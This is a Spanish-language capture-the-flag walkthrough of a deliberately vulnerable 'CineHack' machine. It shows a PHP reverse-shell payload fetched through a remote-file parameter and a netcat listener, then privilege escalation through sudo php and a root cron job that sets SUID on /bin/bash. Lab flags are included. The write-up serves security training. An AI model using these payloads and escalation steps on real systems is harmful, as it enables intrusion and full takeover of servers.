CTF CineHack Intermediate

URL Download CTF = https://drive.google.com/file/d/1G05W6zX8FRWNp7RSxnatz1goZTaZ-pi7/view?usp=sharing

Instalación

Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.

unzip cinehack.zip

Nos lo descomprimira y despues montamos la maquina de la siguiente forma.

bash auto_mount.sh cinehack.tar

Info:

___________________¶¶
____________________¶¶__¶_5¶¶
____________5¶5__¶5__¶¶_5¶__¶¶¶5
__________5¶¶¶__¶¶5¶¶¶¶¶5¶¶__5¶¶¶5
_________¶¶¶¶__¶5¶¶¶¶¶¶¶¶¶¶¶__5¶¶¶¶5
_______5¶¶¶¶__¶¶¶¶¶¶¶¶¶¶¶_5¶¶__5¶¶¶¶¶5
______¶¶¶¶¶5_¶¶¶¶¶¶¶¶¶¶¶¶¶5¶¶¶__¶¶¶¶5¶5
_____¶¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_¶¶¶¶¶¶¶5
____¶¶¶¶¶¶¶_¶¶¶5¶¶¶¶5_¶¶¶¶¶5_5¶_¶¶¶¶¶¶¶¶5
___¶¶¶¶¶¶¶¶__5¶¶¶¶¶¶5___5¶¶¶¶__5¶¶¶¶¶¶¶¶¶5
__¶¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶5__5¶¶5_5¶¶¶¶¶¶¶¶¶¶¶
_5¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶¶¶¶¶¶5__5¶¶¶¶¶¶¶¶¶¶¶¶¶5
_¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶_5¶¶¶¶
5¶¶¶¶¶¶¶¶¶¶¶¶5___5¶¶¶¶¶¶¶5__¶¶¶¶5_¶¶¶5_¶¶¶¶
¶¶¶¶¶¶¶¶_¶¶5_5¶5__¶¶¶¶¶¶¶¶¶5_5¶¶¶_5¶¶¶_5¶¶¶5
¶5¶¶¶¶¶5_¶¶_5¶¶¶¶¶_¶¶¶¶¶¶¶¶¶¶5_5¶¶_5¶¶¶_¶¶¶5
¶¶¶¶_¶¶__¶__¶¶¶¶¶¶5_5¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶¶_5¶¶¶
¶¶¶5_5¶______5¶¶5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶5_¶¶_5¶5_¶5¶
5¶¶____5¶¶¶¶5_____5¶¶¶¶¶¶¶5_¶¶¶¶¶5_¶__¶¶_5¶¶
_¶¶__5¶¶¶¶¶¶¶¶¶¶5____5¶¶¶¶¶¶_¶¶¶¶¶_____¶5_¶¶
_¶¶___5¶¶¶¶¶¶¶¶¶__________5¶5_¶¶¶¶¶____¶¶_¶¶
_¶¶_______5¶¶¶¶¶¶5____________¶¶¶¶¶_____¶_¶¶
_5¶5________5¶¶_¶¶¶¶5________5¶¶¶¶¶_______¶¶
__¶¶__________¶___¶¶¶¶¶5___5¶¶¶¶¶¶5_______¶5
__¶¶____________5¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶¶________¶
___¶________________5¶¶¶¶¶¶¶¶5_¶¶
___¶__________5¶¶¶¶¶¶¶¶5¶¶¶5__5¶5
_____________________5¶¶¶5____¶5

                                           
 ##   ##    ##       ####   ###  ##  #######  ######   ####       ##     ######    #####  
 ##   ##   ####     ##  ##   ##  ##   ##   #   ##  ##   ##       ####     ##  ##  ##   ## 
 ##   ##  ##  ##   ##        ## ##    ## #     ##  ##   ##      ##  ##    ##  ##  #       
 #######  ##  ##   ##        ####     ####     #####    ##      ##  ##    #####    #####  
 ##   ##  ######   ##        ## ##    ## #     ## ##    ##   #  ######    ##  ##       ## 
 ##   ##  ##  ##    ##  ##   ##  ##   ##   #   ##  ##   ##  ##  ##  ##    ##  ##  ##   ## 
 ##   ##  ##  ##     ####   ###  ##  #######  #### ##  #######  ##  ##   ######    #####  
                                         

Estamos desplegando la máquina vulnerable, espere un momento.

Máquina desplegada, su dirección IP es --> 172.17.0.2

Presiona Ctrl+C cuando termines con la máquina para eliminarla

Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.

Escaneo de puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn <IP>
nmap -sCV -p<PORTS> <IP>

Info:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-16 06:08 EST
Nmap scan report for 172.17.0.3
Host is up (0.000044s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Bienvenido a Cinema DL
MAC Address: 02:42:AC:11:00:03 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.61 seconds

Vemos que solo hay un puerto 80 y si bajamos un poco vemos lo que parece ser un dominio dentro de la pagina que podria corresponderse con un dominio que este sujeto a la pagina, por lo que harems lo siguiente:

nano /etc/hosts

#Dentro del nano
<IP>        cinema.dl

Lo guardamos y ahora entramos con dicho dominio:

URL = http://cinema.dl/

Vemos que nos carga una pagina como si fuera una cartelera de cine y la unica pelicula a la que podemos entrar es a la llamada El tiempo que tenemos, dentro del mismo podremos ver que podemos como reservar entradas, las cuales si le damos a reservar nos lleva a un reservation.php, vamos a ver que hace de forma intenta con la peticion de reserva capturandolo con BurpSuite.

Vemos que hay un parametro oculto llamado problem_url= el cual indica como una URL por defecto como si pudieramos hacer algo desde un servidor externo, por lo que vamos a probar a abrir un servidor de python3 con una shell.php que vamos a crear y añadirlo en ese parametro a ver que pasa.

shell.php

<?php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);
?>

Abriremos un servidor de python3:

python3 -m http.server

Y ahora en la pagina iremos a la siguiente URL ya que sabemos que parametro usar.

URL = http://cinema.dl/reservation.php?problem_url=http://<IP>:8000/shell.php

Si nos vamos a donde tenemos el servidor de python3 veremos que nos ha cogido el archivo:

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
172.17.0.3 - - [16/Jan/2025 06:18:16] "GET /shell.php HTTP/1.1" 200 -

Pero no tenemos ninguna carpeta de uploads/ ni nada parecido, por lo que vamos a probar hacer un fuzzing con un diccionario personalizado sobre el nombre y apellidos de los actores de la pelicula El tiempo que tenemos quedando de la siguiente forma:

Gobuster

dic.txt

andrewgarfield
florencepugh
gracedelaney
leebraithwaite
aoifehinds
adamjames
douglashodge
maramacorlett
heathercraney
niamhcusack
robertboulter
kerrygodliman

Y haremos lo siguiente:

gobuster dir -u http://cinema.dl/ -w dic.txt -x html,php,txt -t 100 -k

Info:

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cinema.dl/
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                dic.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/andrewgarfield       (Status: 301) [Size: 315] [--> http://cinema.dl/andrewgarfield/]
Progress: 48 / 52 (92.31%)
===============================================================
Finished
===============================================================

Vemos que nos encuentra uno llamado /andrewgarfield y si entramos en el:

URL = http://cinema.dl/andrewgarfield/

Veremos que es donde esta subido el archivo que se descargo el problem_url= por lo que nos pondremos a la escucha:

nc -lvnp <PORT>

Y pulsamos en el shell.php, si volvemos a la escucha veremos lo siguiente:

listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.3] 54126
whoami
www-data

Sanitización de shell (TTY)

script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>

Escalate user boss

Antes de nada si vamos al /opt vemos el siguiente script:

cat /opt/update.sh

Info:

#!/bin/bash

# Comprobar si el usuario 'boss' tiene algún proceso en ejecución
# También buscar procesos asociados a "script" o shells indirectas
if pgrep -u boss > /dev/null; then
    # Mostrar procesos activos del usuario boss para depuración (opcional)
    echo "Procesos activos del usuario boss:"
    ps -u boss

    # Matar todos los procesos del usuario 'boss' incluyendo 'script'
    pkill -u boss
    pkill -9 -f "script"

    # Confirmar que los procesos fueron terminados
    if pgrep -u boss > /dev/null; then
        echo "No se pudieron terminar todos los procesos del usuario boss."
    else
        echo "El usuario boss ha sido desconectado por seguridad."
    fi
else
    echo "El usuario boss no está conectado."
fi

Por lo que vemos cuando nos conectemos con el usuario boss puede ser que haya algo que ejecute este script y nos eche de la sesion, por lo que podemos intuir que puede haber algun crontab.

Si nos vamos a /var/spool/cron y listamos veremos lo siguiente:

dr-xrwx--T 1 boss crontab 4096 Jan 16 11:58 crontabs

Vemos que el usuario boss puede acceder a este directorio y dentro puede haber algo que nos interese.

Si hacemos sudo -l veremos lo siguiente:

Matching Defaults entries for www-data on dockerlabs:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User www-data may run the following commands on dockerlabs:
    (boss) NOPASSWD: /bin/php

Vemos que podemos ejecutar el binario php como el usuario boss por lo que haremos lo siguiente:

CMD="/bin/bash"
sudo -u boss php -r "system('$CMD');"

Y con esto seremos el usuario boss, por lo que leeremos la flag del usuario.

user.txt

93a85c1e99d62afe15c179d4fd005f40

Escalate Privileges

Si nos vamos donde dijimos antes, veremos que nos deja meternos en el directorio, cosa que es poco usual:

cd /var/spool/cron/crontabs

Si listamos veremos lo siguiente:

-rwxr-xr-x 1 root crontab 1197 Jan 16 11:58 root.sh

Vemos que podemos leer el archivo root:

#!/bin/bash

# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.JicO9c/crontab installed on Thu Jan 16 11:58:58 2025)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').
# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command

#*/1 * * * * chmod +r /var/spool/cron/crontabs/root
/opt/update.sh
/tmp/script.sh

Vemos que root.sh es un script y no un crontab por lo que vamos a ver que se esta ejecutando a nivel de sistema:

ps aux

Info:

USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root           1  0.0  0.0   2800  1792 ?        Ss   13:10   0:00 /bin/sh -c service apache2 start && service cron start && while true; do /var/spool/cron/c
root          24  0.0  0.2 203476 21832 ?        Ss   13:10   0:00 /usr/sbin/apache2 -k start
www-data      29  0.0  0.1 203720 15780 ?        S    13:10   0:00 /usr/sbin/apache2 -k start
www-data      30  0.0  0.1 203548 14756 ?        S    13:10   0:00 /usr/sbin/apache2 -k start
www-data      31  0.0  0.1 203508  9636 ?        S    13:10   0:00 /usr/sbin/apache2 -k start
www-data      32  0.0  0.1 203508  9636 ?        S    13:10   0:00 /usr/sbin/apache2 -k start
www-data      33  0.0  0.1 203508  9636 ?        S    13:10   0:00 /usr/sbin/apache2 -k start
root          41  0.0  0.0   3808  1796 ?        Ss   13:10   0:00 /usr/sbin/cron -P
www-data      47  0.0  0.1 203508  9636 ?        S    13:10   0:00 /usr/sbin/apache2 -k start
www-data      48  0.0  0.0   2800  1792 ?        S    13:11   0:00 sh -c sh
www-data      49  0.0  0.0   2800  1792 ?        S    13:11   0:00 sh
www-data      51  0.0  0.0   2716  1792 ?        S    13:11   0:00 script /dev/null -c bash
www-data      52  0.0  0.0   2800  1664 pts/0    Ss   13:11   0:00 sh -c bash
www-data      53  0.0  0.0   4588  3584 pts/0    S    13:11   0:00 bash
root          72  0.0  0.0   2696  1536 ?        S    13:12   0:00 sleep 60
www-data      76  0.0  0.0   7888  3968 pts/0    R+   13:12   0:00 ps -aux

Por lo que vemos esta ejecutando el root.sh cada minuto, pero como bien hemos visto tambien esta ejecutando a la vez el /tmp/script.sh por lo que podremos salir con exit del usuario y crearlo con www-data para que no nos expulse.

nano /tmp/script.sh

#Dentro del nano
#!/bin/bash

chmod u+s /bin/bash

Guardamos esto y le ponemos permisos de ejecuccion:

chmod +x /tmp/script.sh

Y ahora tendremos que esperar 1 minuto a que se ejecute, una vez que se haya ejecutado el crontab, si listamos la bash:

ls -la /bin/bash

Info:

-rwsr-xr-x 1 root root 1446024 Mar 31  2024 /bin/bash

Veremos que ha funcionado y ahora la bash tiene permisos de SUID, por lo que haremos lo siguiente:

bash -p

Y con esto seremos root por lo que leeremos la flag de root:

root.txt

687f891cbfd513ac53641755ce0efe5e

Last updated